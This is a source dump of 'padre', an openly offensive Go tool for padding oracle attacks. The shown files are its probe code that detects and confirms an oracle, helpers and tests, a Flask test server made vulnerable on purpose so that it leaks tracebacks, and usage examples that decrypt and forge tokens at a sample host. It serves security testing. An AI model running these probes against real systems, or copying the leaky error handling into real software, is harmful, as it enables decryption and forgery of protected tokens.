func (p *Printer) PrintWithPrefix(prefix, message string) {
	p.AddPrefix(prefix, false)
	p.Println(message)
	p.RemovePrefix()
}

func (p *Printer) Error(err error) {
	p.PrintWithPrefix(color.RedBold("[-]"), color.Red(err))
}

func (p *Printer) Errorf(format string, a ...interface{}) {
	p.Error(fmt.Errorf(format, a...))
}

func (p *Printer) Hint(format string, a ...interface{}) {
	p.PrintWithPrefix(color.CyanBold("[hint]"), fmt.Sprintf(format, a...))
}

func (p *Printer) Warning(format string, a ...interface{}) {
	p.PrintWithPrefix(color.YellowBold("[!]"), fmt.Sprintf(format, a...))
}

func (p *Printer) Success(format string, a ...interface{}) {
	p.PrintWithPrefix(color.GreenBold("[+]"), fmt.Sprintf(format, a...))
}

func (p *Printer) Info(format string, a ...interface{}) {
	p.PrintWithPrefix(color.CyanBold("[i]"), fmt.Sprintf(format, a...))
}

func (p *Printer) Action(s string) {
	p.Printcr(color.Yellow(s))
}


================================================
FILE: pkg/probe/confirm.go
================================================
package probe

import (
	"context"

	"github.com/glebarez/padre/pkg/client"
	"github.com/glebarez/padre/pkg/util"
)

// confirms existence of padding oracle
// returns true if confirmed, false otherwise
func ConfirmPaddingOracle(c *client.Client, matcher PaddingErrorMatcher, blockLen int) (bool, error) {
	// create random block of ciphertext (IV prepended)
	cipher := util.RandomSlice(blockLen * 2)

	// test last byte of IV
	pos := blockLen - 1

	// channel to soak results
	chanResult := make(chan *client.ProbeResult, 256)

	// send probes
	go c.SendProbes(context.Background(), cipher, pos, chanResult)

	// count padding errors
	count := 0
	for result := range chanResult {
		if result.Err != nil {
			return false, result.Err
		}
		isErr, err := matcher.IsPaddingError(result.Response)
		if err != nil {
			return false, err
		}

		if isErr {
			count++
		}
	}

	// padding oracle must produce exactly 254 or 255 errors
	return count == 254 || count == 255, nil
}


================================================
FILE: pkg/probe/detect.go
================================================
package probe

import (
	"context"

	"github.com/glebarez/padre/pkg/client"
	"github.com/glebarez/padre/pkg/util"
)

// attempts to auto-detect padding oracle fingerprint
func DetectPaddingErrorFingerprint(c *client.Client, blockLen int) (PaddingErrorMatcher, error) {
	// create random block of ciphertext (IV prepended)
	cipher := util.RandomSlice(blockLen * 2)

	// test last byte of IV
	pos := blockLen - 1

	// channel to soak results
	chanResult := make(chan *client.ProbeResult, 256)

	// fingerprint probes
	go c.SendProbes(context.Background(), cipher, pos, chanResult)

	// collect counts of fingerprints
	fpMap := map[ResponseFingerprint]int{}
	for result := range chanResult {
		if result.Err != nil {
			// error during probes
			return nil, result.Err
		}

		fp, err := GetResponseFingerprint(result.Response)
		if err != nil {
			// error during fingerprinting
			return nil, result.Err
		}

		fpMap[*fp]++
	}

	// padding oracles respond with predictable count of unique fingerprints
	// following factors must be considered:
	// a. some padding implmementations 'incorrect' padding from 'errornous' padding
	// (e.g. if you pad cipher with block length of 16 with values grater than 16)

	// padre considers following fingerprint counts as indication of padding error
	patterns := [][]int{
		{255, 1},
		{254, 2},
		{256 - blockLen, blockLen - 1, 1},
		{256 - blockLen, blockLen - 2, 2},
	}

	// check if any of count-patterns matches
patternLoop:
	for _, pat := range patterns {
		fingerprints := make([]ResponseFingerprint, 0)

		for fp, count := range fpMap {
			if inSlice(pat, count) {
				// do not include fingerprint of non-error response (last position in pattern)
				if count != pat[len(pat)-1] {
					fingerprints = append(fingerprints, fp)
				}
			} else {
				continue patternLoop
			}
		}

		// if we made it to here, we found a padding oracle
		// return the matcher
		return &matcherByFingerprint{
			fingerprints: fingerprints,
		}, nil
	}
	return nil, nil
}

func inSlice(slice []int, value int) bool {
	for _, i := range slice {
		if value == i {
			return true
		}
	}
	return false
}


================================================
FILE: pkg/probe/fingerprint.go
================================================
package probe

import (
	"unicode"

	"github.com/glebarez/padre/pkg/client"
)

// ResponseFingerprint ...
type ResponseFingerprint struct {
	StatusCode int
	Lines      int
	Words      int
}

// GetResponseFingerprint - scrape fingerprint form http response
func GetResponseFingerprint(resp *client.Response) (*ResponseFingerprint, error) {
	return &ResponseFingerprint{
		StatusCode: resp.StatusCode,
		Lines:      countLines(resp.Body),
		Words:      countWords(resp.Body),
	}, nil
}

// helper: count number of lines in input
func countLines(input []byte) int {
	if len(input) == 0 {
		return 0
	}
	count := 1
	for _, b := range input {
		if b == '\n' {
			count++
		}
	}
	return count
}

// helper: count number of lines in input
func countWords(input []byte) int {
	inWord, count := false, 0
	for _, r := range string(input) {
		if unicode.IsSpace(r) {
			inWord = false
		} else if !inWord {
			inWord = true
			count++
		}
	}
	return count
}


================================================
FILE: pkg/probe/interface.go
================================================
package probe

import "github.com/glebarez/padre/pkg/client"

// PaddingErrorMatcher - tests if HTTP response matches with padding error
type PaddingErrorMatcher interface {
	IsPaddingError(*client.Response) (bool, error)
}


================================================
FILE: pkg/probe/matcher.go
================================================
package probe

import (
	"regexp"

	"github.com/glebarez/padre/pkg/client"
)

type matcherByFingerprint struct {
	fingerprints []ResponseFingerprint
}

func (m *matcherByFingerprint) IsPaddingError(resp *client.Response) (bool, error) {

	respFP, err := GetResponseFingerprint(resp)
	if err != nil {
		return false, err
	}

	for _, fp := range m.fingerprints {
		if fp == *respFP {
			return true, nil
		}
	}

	return false, nil
}

type matcherByRegexp struct {
	re *regexp.Regexp
}

func (m *matcherByRegexp) IsPaddingError(resp *client.Response) (bool, error) {
	return m.re.Match(resp.Body), nil
}

func NewMatcherByRegexp(r string) (PaddingErrorMatcher, error) {
	re, err := regexp.Compile(r)
	if err != nil {
		return nil, err
	}

	return &matcherByRegexp{re}, nil
}


================================================
FILE: pkg/util/http.go
================================================
package util

import (
	"errors"
	"net/http"
	"regexp"
	"strings"
)

// ParseCookies parses cookies in raw string format into net/http format
func ParseCookies(cookies string) (cookSlice []*http.Cookie, err error) {
	// initial string produces emtpty cookies
	if cookies == "" {
		return []*http.Cookie{}, nil
	}

	// strip quotes if any
	cookies = strings.Trim(cookies, `"'`)

	// split several cookies into slice
	cookieS := strings.Split(cookies, ";")

	for _, c := range cookieS {
		// strip whitespace
		c = strings.TrimSpace(c)

		// split to name and value
		nameVal := strings.SplitN(c, "=", 2)
		if len(nameVal) != 2 || strings.Contains(nameVal[1], "=") {
			return nil, errors.New("failed to parse cookie")
		}

		cookSlice = append(cookSlice, &http.Cookie{Name: nameVal[0], Value: nameVal[1]})
	}
	return cookSlice, nil
}

// DetectContentType detects HTTP content type based on provided POST data
func DetectContentType(data string) string {
	var contentType string

	if data[0] == '{' || data[0] == '[' {
		contentType = "application/json"
	} else {
		match, _ := regexp.MatchString("([^=]+=[^=]+&?)+", data)
		if match {
			contentType = "application/x-www-form-urlencoded"
		} else {
			contentType = http.DetectContentType([]byte(data))
		}
	}
	return contentType
}


================================================
FILE: pkg/util/http_test.go
================================================
package util

import (
	"net/http"
	"reflect"
	"testing"
)

func TestParseCookies(t *testing.T) {
	type args struct {
		cookies string
	}
	tests := []struct {
		name          string
		args          args
		wantCookSlice []*http.Cookie
		wantErr       bool
	}{
		{"empty", args{""}, []*http.Cookie{}, false},
		{"normal", args{"key=val"}, []*http.Cookie{{Name: "key", Value: "val"}}, false},
		{"errornous", args{"key=val=1"}, nil, true},
	}
	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			gotCookSlice, err := ParseCookies(tt.args.cookies)
			if (err != nil) != tt.wantErr {
				t.Errorf("ParseCookies() error = %v, wantErr %v", err, tt.wantErr)
				return
			}
			if !reflect.DeepEqual(gotCookSlice, tt.wantCookSlice) {
				t.Errorf("ParseCookies() = %v, want %v", gotCookSlice, tt.wantCookSlice)
			}
		})
	}
}

func TestDetectContentType(t *testing.T) {
	type args struct {
		data string
	}
	tests := []struct {
		name string
		args args
		want string
	}{
		{"json-object", args{"{'a':1}"}, "application/json"},
		{"json-array", args{"[{'a':1}]"}, "application/json"},
		{"form", args{"a=1&b=2"}, "application/x-www-form-urlencoded"},
		{"text", args{"text"}, http.DetectContentType([]byte("text"))},
	}
	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			if got := DetectContentType(tt.args.data); got != tt.want {
				t.Errorf("DetectContentType() = %v, want %v", got, tt.want)
			}
		})
	}
}


================================================
FILE: pkg/util/random.go
================================================
package util

import (
	"bytes"
	"container/ring"
	"math/rand"
)

// ring buffer for generating random chunks of bytes
var randomRing *ring.Ring

func init() {
	mysteriousData := []byte{
		0x67, 0x6c, 0x65, 0x62, 0x61, 0x72, 0x65, 0x7a,
		0x66, 0x65, 0x72, 0x73, 0x69, 0x6e, 0x67, 0x62}

	randomRing = ring.New(len(mysteriousData))
	for _, b := range mysteriousData {
		randomRing.Value = b
		randomRing = randomRing.Next()
	}

}

// RandomSlice generates random slice of bytes with specified length
func RandomSlice(len int) []byte {
	buf := bytes.NewBuffer(make([]byte, 0, len))

	for i := 0; i < len; i++ {
		buf.WriteByte(randomRing.Value.(byte))

		// randomly move ring
		randomRing = randomRing.Move(rand.Intn(13))
	}
	return buf.Bytes()
}


================================================
FILE: pkg/util/random_test.go
================================================
package util

import (
	"testing"

	"github.com/stretchr/testify/require"
)

func TestRandomSlice(t *testing.T) {
	var randoms = make([][]byte, 0, 10)

	// generate some random slices
	for i := 0; i < 10; i++ {
		newRandom := RandomSlice(13)
		// check uniqness
		require.NotContains(t, randoms, newRandom)
		randoms = append(randoms, newRandom)
	}

}


================================================
FILE: pkg/util/strings.go
================================================
package util

import "strings"

// ReverseString returns reverse of a string (does not support runes)
func ReverseString(in string) string {
	out := strings.Builder{}
	for i := len(in) - 1; i >= 0; i-- {
		out.WriteByte(in[i])
	}
	return out.String()
}


================================================
FILE: pkg/util/strings_test.go
================================================
package util

import "testing"

func TestReverseString(t *testing.T) {
	type args struct {
		in string
	}
	tests := []struct {
		name string
		args args
		want string
	}{
		{"normal", args{"1234"}, "4321"},
		{"empty", args{""}, ""},
	}
	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			if got := ReverseString(tt.args.in); got != tt.want {
				t.Errorf("ReverseString() = %v, want %v", got, tt.want)
			}
		})
	}
}


================================================
FILE: pkg/util/terminal.go
================================================
package util

import (
	"os"

	"github.com/mattn/go-isatty"
	"github.com/nsf/termbox-go"
)

// TerminalWidth determines width of current terminal in characters
func TerminalWidth() (int, error) {
	if err := termbox.Init(); err != nil {
		return 0, err
	}
	w, _ := termbox.Size()
	termbox.Close()
	// decrease length by 1 for safety
	// windows CMD sometimes needs this
	return w - 1, nil
}

// IsTerminal checks whether file is a terminal
func IsTerminal(file *os.File) bool {
	return isatty.IsTerminal(file.Fd()) || isatty.IsCygwinTerminal(file.Fd())
}


================================================
FILE: test_server/.dockerignore
================================================
__pycache__/
.pytest_cache/
htmlcov/
venv/

================================================
FILE: test_server/.gitignore
================================================
__pycache__/
.pytest_cache/
htmlcov/
venv/

================================================
FILE: test_server/.python-version
================================================
3.9.2


================================================
FILE: test_server/Dockerfile
================================================
FROM python:3.9

WORKDIR /usr/src/app

COPY requirements.txt ./
RUN pip install --no-cache-dir -r requirements.txt

COPY . .
EXPOSE 5000
CMD [ "python", "./server.py" ]

================================================
FILE: test_server/README.md
================================================
## Test server that is (on-demand) vulnerable to Padding Oracle
Use for testing purposes. AES only by now

## Config
Configuration is done via setting environment variables
|Env. variable | if not set | if set |
|---|---|---|
|VULNERABLE|Server **is not** vulnerable to padding oracle|Server **is** vulnerable to padding oracle|
|SECRET|AES key will be generated randomly|AES key will generated from the secret phrase. Use to achieve reproducible outputs between server runs|
|USE_GEVENT|Use Flask's built-in Web server|Use gevent's Web server (faster)

## Run
#### via Docker Compose
```console
docker-compose up
```
#### via Docker
```console
docker build -t pador_vuln_server .
docker run -it -p 5000:5000 pador_vuln_server
```
#### directly
```console
python server.py
```





================================================
FILE: test_server/app.py
================================================
import functools
import hashlib
import traceback

from flask import Flask, make_response, request
from werkzeug.exceptions import HTTPException

import crypto
import encoder
from encoder import Encoding


@functools.lru_cache()
def AES_key():
    secret = app.config.get("SECRET", "default-secret")
    return hashlib.md5(secret.encode()).digest()


app = Flask(__name__)


def get_encoding(request):
    # get encoding (defaults to Base64 if not specified)
    encoding = request.values.get("enc", None)
    if encoding is None:
        encoding = Encoding.B64.name
    else:
        encoding = encoding.upper()

    return encoding


# encrypts the plaintext
@app.route("/encrypt", methods=["GET", "POST"])
def route_encrypt():
    # get plaintext to encrypt
    plain = request.values.get("plain", None)
    if plain is None:
        raise ValueError(
            "Pass data to encrypt using 'plain' parameter in URL or POST data"
        )

    # encrypt the data (encoded to bytes)
    cipher = crypto.encrypt(plain.encode(), AES_key())

    # get encoding
    encoding = get_encoding(request)

    # encode encrypted chunk
    encoded_cipher = encoder.encode(data=cipher, encoding=Encoding[encoding])

    # answer
    return encoded_cipher, 200


# decrypts the cipher
@app.route("/decrypt", methods=["GET", "POST"])
def route_decrypt():
    # get ciphertext
    encoded_cipher = request.values.get("cipher", None)
    if encoded_cipher is None:
        raise ValueError(
            "Pass encoded chipher to decrypt using 'cipher' parameter in URL or POST data"
        )

    # get encoding
    encoding = get_encoding(request)

    # decode cipher into bytes
    cipher = encoder.decode(data=encoded_cipher, encoding=Encoding[encoding])

    # decrypt cipher into plaintext
    plain = crypto.decrypt(cipher, AES_key())

    # answer
    return plain, 200


@app.route("/health")
def health():
    return "OK", 200


# this is what makes the server vulnerable to padding oracle
# it just talks too much about errors
# NOTE: to test Padding Oracle detection, every exception's trace is printed
# (not just IncorrectPadding)
@app.errorhandler(Exception)
def handle_incorrect_padding(exc):
    # pass through HTTP errors
    if isinstance(exc, HTTPException):
        return exc

    # log exception
    app.logger.error(exc)

    if app.config.get("VULNERABLE"):
        # vulnerable response
        response = make_response(traceback.format_exc(), 500)
        response.headers["content-type"] = "text/plain"
        return response
    else:
        # non-vulnerable response
        return "Internal server error", 500


================================================
FILE: test_server/crypto.py
================================================
import random

from Crypto.Cipher import AES
from Crypto.Util import Padding


def random_bytes(length: int) -> bytes:
    out = []
    for _ in range(length):
        out.append(random.randint(0, 0xFF))
    return bytes(out)


class IncorrectPadding(Exception):
    def __init__(self):
        super().__init__("Incorrect Padding")


def encrypt(data: bytes, key: bytes) -> bytes:
    # pad data
    data = Padding.pad(data, 16)

    # new encryptor
    encryptor = AES.new(key, AES.MODE_CBC)

    # return IV + cipher
    return encryptor.iv + encryptor.encrypt(data)


def decrypt(data: bytes, key: bytes) -> str:
    # tell IV from cipher
    iv, data = data[:16], data[16:]

    # fresh encryptor with IV provided
    encryptor = AES.new(key, AES.MODE_CBC, iv)

    # decrypt
    plain = encryptor.decrypt(data)

    # unpad, decode, return
    try:
        return Padding.unpad(plain, 16)
    except ValueError:
        raise IncorrectPadding()


================================================
FILE: test_server/docker-compose.yaml
================================================
version: "2.1"

services:
    vuln-server:
        build: .
        environment: 
            VULNERABLE: 1
            USE_GEVENT: 1
        ports:
            - 5000:5000

================================================
FILE: test_server/encoder.py
================================================
import binascii as ba
from enum import Enum, auto


class Encoding(Enum):
    B64 = auto()  # base64
    LHEX = auto()  # lowercase hex


# decodes data
def decode(data: str, encoding: Encoding) -> bytes:
    if encoding == Encoding.B64:
        x = ba.a2b_base64(data)
    elif encoding == Encoding.LHEX:
        x = ba.unhexlify(data)
    else:
        raise RuntimeError(f"Unknown encoding {encoding}")
    return x


# encodes binary data as plaintext string
def encode(data, encoding: Encoding) -> str:
    if encoding == Encoding.B64:
        x = ba.b2a_base64(data).decode()[:-1]
    elif encoding == Encoding.LHEX:
        x = ba.hexlify(data).decode()
    else:
        raise RuntimeError(f"Unknown encoding {encoding}")
    return x


================================================
FILE: test_server/requirements.txt
================================================
Flask==2.3.2
gevent==23.9.1
pycryptodome==3.19.1
pytest==6.2.5
pytest-cov==3.0.0

================================================
FILE: test_server/server.py
================================================
import os

from app import app

if __name__ == "__main__":
    # get application config from environment
    for envvar in ["VULNERABLE", "SECRET"]:
        if envvar in os.environ:
            app.config[envvar] = os.environ[envvar]

    if os.environ.get("USE_GEVENT"):
        from gevent import monkey

        monkey.patch_all()
        from gevent.pywsgi import WSGIServer

        WSGIServer(
            (
                "0.0.0.0",
                5000,
            ),
            app.wsgi_app,
        ).serve_forever()
    else:
        app.run("0.0.0.0", 5000)


================================================
FILE: test_server/setup.cfg
================================================
[tool:pytest]
testpaths =
    tests
addopts =
    --cov=.
    --cov-report=html
    --cov-report=term
python_functions =
    test_*
python_files =
    *_test.py
    
[coverage:run]
data_file = /tmp/.coverage
omit = 
    tests/*
    venv/*
    server.py
branch = True


================================================
FILE: test_server/tests/__init__.py
================================================
# do not delete
# needed for pytest


================================================
FILE: test_server/tests/app_test.py
================================================
from argparse import Namespace

import pytest, itertools

from app import app
from encoder import Encoding

@pytest.fixture(params=list(Encoding))
def encoding(request):
    return request.param


@pytest.fixture(params=[True, False])
def is_vulnerable(request):
    return request.param


@pytest.fixture(params=["GET", "POST"])
def http_method(request):
    return request.param


@pytest.fixture
def secret():
    return "secret"


@pytest.fixture
def client(is_vulnerable, secret):
    # create app config
    config = Namespace(VULNERABLE=is_vulnerable, SECRET=secret)

    # inject config
    app.config.from_object(config)

    # create test client
    return app.test_client()


@pytest.fixture
def call_route(client, http_method):
    if http_method == "GET":
        # apparently werkzeug expects query string to be passed as separated parameter in GET method
        def get(endpoint, data = None):
            return client.get(endpoint, query_string=data)
        return get
    elif http_method == "POST":
        return client.post
    else:
        raise AssertionError("Not supported HTTP method: %s" % http_method)


@pytest.mark.parametrize("plaintext", [""])
def test_app(call_route, plaintext, is_vulnerable, encoding):
    # send plaintext for encryption
    resp = call_route("/encrypt", data={"plain": plaintext, "enc": encoding.name})
    assert resp.status_code == 200

    # get response string
    cipher = resp.data.decode()

    # send for decryption
    resp = call_route("/decrypt", data={"cipher": cipher, "enc": encoding.name})
    assert resp.status_code == 200

    # compare results
    deciphered = resp.data.decode()
    assert deciphered == plaintext

    # send malformed cipher
    malformed_cipher = cipher[:-1]
    resp = call_route("/decrypt", data={"cipher": malformed_cipher})
    assert resp.status_code == 500

    # check response verbosity
    if not is_vulnerable:
        assert resp.data.decode() == "Internal server error"
    else:
        assert "Traceback" in resp.data.decode()


def test_absent_params(call_route):
    # no plaintext
    resp = call_route("/encrypt")
    assert resp.status_code == 500

    # no ciphertext
    resp = call_route("/decrypt")
    assert resp.status_code == 500

    # no explicit encoding
    resp = call_route("/encrypt", data={"plain": "test"})
    assert resp.status_code == 200


@pytest.mark.parametrize("http_method", ["GET"])
def test_health(call_route):
    resp = call_route("/health")
    assert resp.status_code == 200


# @pytest.mark.parametrize("secret", ["padre"])
# def test_reproducible_cipher(call_route, encoding, secret):
#     print(app.config)
#     resp = call_route("/encrypt", data={"plain": "padre"})
#     assert resp.status_code == 200
#     if encoding == Encoding.B64:
#         assert resp.data.decode() == "P6tHBLB95YWpovay/a34pZNai624TAWLyWNVCMOmImM="
#         print(app.config)
#     elif encoding == Encoding.LHEX:
#         assert resp.data.decode() == "xxx"


================================================
FILE: test_server/tests/crypto_test.py
================================================
import Crypto.Cipher.AES
import pytest

import crypto

KEY_LENGTH = 16


@pytest.fixture
def AES_key():
    return crypto.random_bytes(KEY_LENGTH)


def generate_plain_variants():
    # test all lengths up to AES block_size + 1
    for i in range(Crypto.Cipher.AES.block_size + 2):
        yield crypto.random_bytes(i)


@pytest.mark.parametrize("plain", generate_plain_variants(), ids=len)
def test_encrypt_decrypt(AES_key, plain):
    # test normal flow
    encrypted = crypto.encrypt(plain, AES_key)
    decrypted = crypto.decrypt(encrypted, AES_key)
    assert decrypted == plain

    # test padding error
    with pytest.raises(crypto.IncorrectPadding):
        # decrement last byte in encrypted payload
        # to cause padding error while decrypting
        encrypted = bytearray(encrypted)

        # stay in byte-value range
        if encrypted[-1] > 0:
            encrypted[-1] -= 1
        else:
            encrypted[-1] = 0xFF

        crypto.decrypt(bytes(encrypted), AES_key)


================================================
FILE: test_server/tests/encoder_test.py
================================================
import pytest

from crypto import random_bytes
from encoder import Encoding, decode, encode


@pytest.mark.parametrize("value", [random_bytes(i) for i in range(10)], ids=len)
@pytest.mark.parametrize("encoding", list(Encoding))
def test_encoding_decoding(value, encoding):
    encoded = encode(value, encoding)
    decoded = decode(encoded, encoding)
    assert decoded == value


def test_unknown_encoding():
    with pytest.raises(RuntimeError):
        encode(b"", -1)

    with pytest.raises(RuntimeError):
        decode("", -1)


================================================
FILE: usage.go
================================================
package main

import (
	"regexp"

	"github.com/glebarez/padre/pkg/color"
)

var usage = `
Usage: cmd(padre [OPTIONS] [INPUT])

INPUT: 
	In bold(decrypt) mode: encrypted data
	In bold(encrypt) mode: the plaintext to be encrypted
	If not passed, will read from bold(STDIN)

	NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: flag(-e), flag(-r))

OPTIONS:

flag(-u) *required*
	target URL, use dollar($) character to define token placeholder (if present in URL)

flag(-enc)
	Encrypt mode

flag(-err)
	Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting

flag(-e)
	Encoding to apply to binary data. Supported values:
		b64 (standard base64) *default*
		lhex (lowercase hex)

flag(-r)
	Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
	Example:
		If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use cmd(-r "/!+-=~")

flag(-cookie)
	Cookie value to be set in HTTP requests. Use dollar($) character to mark token placeholder.

flag(-post)
	String data to perform POST requests. Use dollar($) character to mark token placeholder. 

flag(-ct)
	Content-Type for POST requests. If not specified, Content-Type will be determined automatically.
	
flag(-b)
	Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
		8
		16 *default*
		32

flag(-p)
	Number of parallel HTTP connections established to target server [1-256]
		30 *default*
		
flag(-proxy)
	HTTP proxy. e.g. use cmd(-proxy "http://localhost:8080") for Burp or ZAP

bold(Examples:)
	Decrypt token in GET parameter:	cmd(padre -u "http://vulnerable.com/login?token=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6")
	POST data: cmd(padre -u "http://vulnerable.com/login" -post "token=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6")
	Cookies: cmd(padre -u "http://vulnerable.com/login$" -cookie "auth=$" "u7bvLewln6PJ670Gnj3hnE40L0SqG8e6")
	Encrypt token in GET parameter:	cmd(padre -u "http://vulnerable.com/login?token=$" -enc "EncryptMe")
`

func init() {
	// add some color to usage text
	re := regexp.MustCompile(`\*required\*`)
	usage = string(re.ReplaceAll([]byte(usage), []byte(color.Yellow(`(required)`))))

	re = regexp.MustCompile(`\*default\*`)
	usage = string(re.ReplaceAll([]byte(usage), []byte(color.Green(`(default)`))))

	re = regexp.MustCompile(`cmd\(([^\)]*?)\)`)
	usage = string(re.ReplaceAll([]byte(usage), []byte(color.Cyan("$1"))))

	re = regexp.MustCompile(`dollar\(([^\)]*?)\)`)
	usage = string(re.ReplaceAll([]byte(usage), []byte(color.CyanBold("$1"))))

	re = regexp.MustCompile(`flag\(([^\)]*?)\)`)
	usage = string(re.ReplaceAll([]byte(usage), []byte(color.GreenBold("$1"))))

	re = regexp.MustCompile(`link\(([^\)]*?)\)`)
	usage = string(re.ReplaceAll([]byte(usage), []byte(color.Underline("$1"))))

	re = regexp.MustCompile(`bold\(([^\)]*?)\)`)
	usage = string(re.ReplaceAll([]byte(usage), []byte(color.Bold("$1"))))
}
Download .txt
gitextract_e79k7lbs/

├── .dockerignore
├── .github/
│   ├── dependabot.yml
│   └── workflows/
│       ├── build-release.yaml
│       └── test.yaml
├── .gitignore
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── arg_errors.go
├── args.go
├── docker-compose.yml
├── go.mod
├── go.sum
├── hints.go
├── main.go
├── pkg/
│   ├── client/
│   │   ├── client.go
│   │   ├── client_test.go
│   │   ├── probe.go
│   │   ├── probe_test.go
│   │   ├── response.go
│   │   └── util.go
│   ├── color/
│   │   ├── color.go
│   │   └── color_test.go
│   ├── encoder/
│   │   ├── ascii.go
│   │   ├── ascii_test.go
│   │   ├── factory.go
│   │   ├── hex.go
│   │   ├── interface.go
│   │   ├── replacer.go
│   │   └── replacer_test.go
│   ├── exploit/
│   │   ├── decrypt.go
│   │   ├── encrypt.go
│   │   ├── exploit.go
│   │   ├── padre.go
│   │   ├── probes.go
│   │   └── util.go
│   ├── output/
│   │   ├── hackybar.go
│   │   ├── prefix.go
│   │   └── printer.go
│   ├── probe/
│   │   ├── confirm.go
│   │   ├── detect.go
│   │   ├── fingerprint.go
│   │   ├── interface.go
│   │   └── matcher.go
│   └── util/
│       ├── http.go
│       ├── http_test.go
│       ├── random.go
│       ├── random_test.go
│       ├── strings.go
│       ├── strings_test.go
│       └── terminal.go
├── test_server/
│   ├── .dockerignore
│   ├── .gitignore
│   ├── .python-version
│   ├── Dockerfile
│   ├── README.md
│   ├── app.py
│   ├── crypto.py
│   ├── docker-compose.yaml
│   ├── encoder.py
│   ├── requirements.txt
│   ├── server.py
│   ├── setup.cfg
│   └── tests/
│       ├── __init__.py
│       ├── app_test.py
│       ├── crypto_test.py
│       └── encoder_test.py
└── usage.go
Download .txt
SYMBOL INDEX (146 symbols across 47 files)

FILE: arg_errors.go
  type argErrors (line 5) | type argErrors struct
    method flagError (line 17) | func (p *argErrors) flagError(flag string, err error) {
    method flagErrorf (line 22) | func (p *argErrors) flagErrorf(flag string, format string, a ...interf...
    method flagWarningf (line 27) | func (p *argErrors) flagWarningf(flag string, format string, a ...inte...
    method warningf (line 32) | func (p *argErrors) warningf(format string, a ...interface{}) {
  function newArgErrors (line 10) | func newArgErrors() *argErrors {

FILE: args.go
  function init (line 16) | func init() {
  constant defaultConcurrency (line 24) | defaultConcurrency   = 30
  constant defaultTerminalWidth (line 25) | defaultTerminalWidth = 80
  constant maxConcurrency (line 26) | maxConcurrency       = 256
  type Args (line 30) | type Args struct
  function parseArgs (line 44) | func parseArgs() (*Args, *argErrors) {

FILE: hints.go
  function _f (line 9) | func _f(f string) string {
  function makeDetectionHints (line 24) | func makeDetectionHints(args *Args) []string {
  function printHints (line 48) | func printHints(p *output.Printer, hints []string) {

FILE: main.go
  function main (line 24) | func main() {

FILE: pkg/client/client.go
  type Client (line 16) | type Client struct
    method DoRequest (line 48) | func (c *Client) DoRequest(ctx context.Context, cipher []byte) (*Respo...

FILE: pkg/client/client_test.go
  function TestClient_DoRequest (line 16) | func TestClient_DoRequest(t *testing.T) {
  function TestClient_BrokenURL (line 104) | func TestClient_BrokenURL(t *testing.T) {
  function TestClient_NotRespondingServer (line 110) | func TestClient_NotRespondingServer(t *testing.T) {

FILE: pkg/client/probe.go
  constant probeCount (line 9) | probeCount = 256
  type ProbeResult (line 12) | type ProbeResult struct
  method SendProbes (line 21) | func (client *Client) SendProbes(ctx context.Context, chunk []byte, pos ...

FILE: pkg/client/probe_test.go
  function TestClient_SendProbes (line 17) | func TestClient_SendProbes(t *testing.T) {

FILE: pkg/client/response.go
  type Response (line 4) | type Response struct

FILE: pkg/client/util.go
  function replacePlaceholder (line 9) | func replacePlaceholder(s, placeholder, replacement string) string {
  function copySlice (line 15) | func copySlice(slice []byte) []byte {

FILE: pkg/color/color.go
  function init (line 15) | func init() {
  function StripColor (line 39) | func StripColor(s string) string {
  function TrueLen (line 44) | func TrueLen(s string) int {

FILE: pkg/color/color_test.go
  function TestTrueLen (line 5) | func TestTrueLen(t *testing.T) {

FILE: pkg/encoder/ascii.go
  type asciiEncoder (line 9) | type asciiEncoder struct
    method EncodeToString (line 12) | func (e asciiEncoder) EncodeToString(input []byte) string {
    method DecodeString (line 32) | func (e asciiEncoder) DecodeString(input string) ([]byte, error) {

FILE: pkg/encoder/ascii_test.go
  function Test_asciiEncoder_EncodeToString (line 9) | func Test_asciiEncoder_EncodeToString(t *testing.T) {
  function Test_asciiEncoder_DecodeString (line 35) | func Test_asciiEncoder_DecodeString(t *testing.T) {

FILE: pkg/encoder/factory.go
  function NewB64encoder (line 5) | func NewB64encoder(replacements string) Encoder {
  function NewLHEXencoder (line 9) | func NewLHEXencoder(replacements string) Encoder {
  function NewASCIIencoder (line 13) | func NewASCIIencoder() Encoder {

FILE: pkg/encoder/hex.go
  type lhexEncoder (line 6) | type lhexEncoder struct
    method EncodeToString (line 8) | func (h *lhexEncoder) EncodeToString(input []byte) string {
    method DecodeString (line 12) | func (h *lhexEncoder) DecodeString(input string) ([]byte, error) {

FILE: pkg/encoder/interface.go
  type Encoder (line 4) | type Encoder interface
  type DecodeError (line 10) | type DecodeError
    method Error (line 12) | func (e DecodeError) Error() string { return string(e) }

FILE: pkg/encoder/replacer.go
  type encoderWithReplacer (line 10) | type encoderWithReplacer struct
    method EncodeToString (line 17) | func (r *encoderWithReplacer) EncodeToString(input []byte) string {
    method DecodeString (line 23) | func (r *encoderWithReplacer) DecodeString(input string) ([]byte, erro...
  function newEncoderWithReplacer (line 33) | func newEncoderWithReplacer(encoder Encoder, replacements string) Encoder {

FILE: pkg/encoder/replacer_test.go
  function TestReplacer (line 12) | func TestReplacer(t *testing.T) {

FILE: pkg/exploit/decrypt.go
  method Decrypt (line 5) | func (p *Padre) Decrypt(ciphertext []byte, byteStream chan byte) ([]byte...

FILE: pkg/exploit/encrypt.go
  method Encrypt (line 9) | func (p *Padre) Encrypt(plainText string, byteStream chan byte) ([]byte,...

FILE: pkg/exploit/exploit.go
  method breakCipher (line 15) | func (p *Padre) breakCipher(cipherBlock []byte, byteStreamer func(byte))...

FILE: pkg/exploit/padre.go
  type Padre (line 8) | type Padre struct

FILE: pkg/exploit/probes.go
  method getErrorlessByteValues (line 11) | func (p *Padre) getErrorlessByteValues(chunk []byte, pos int, maxCount i...
  method IsPaddingErrorInChunk (line 50) | func (p *Padre) IsPaddingErrorInChunk(chunk []byte) (bool, error) {

FILE: pkg/exploit/util.go
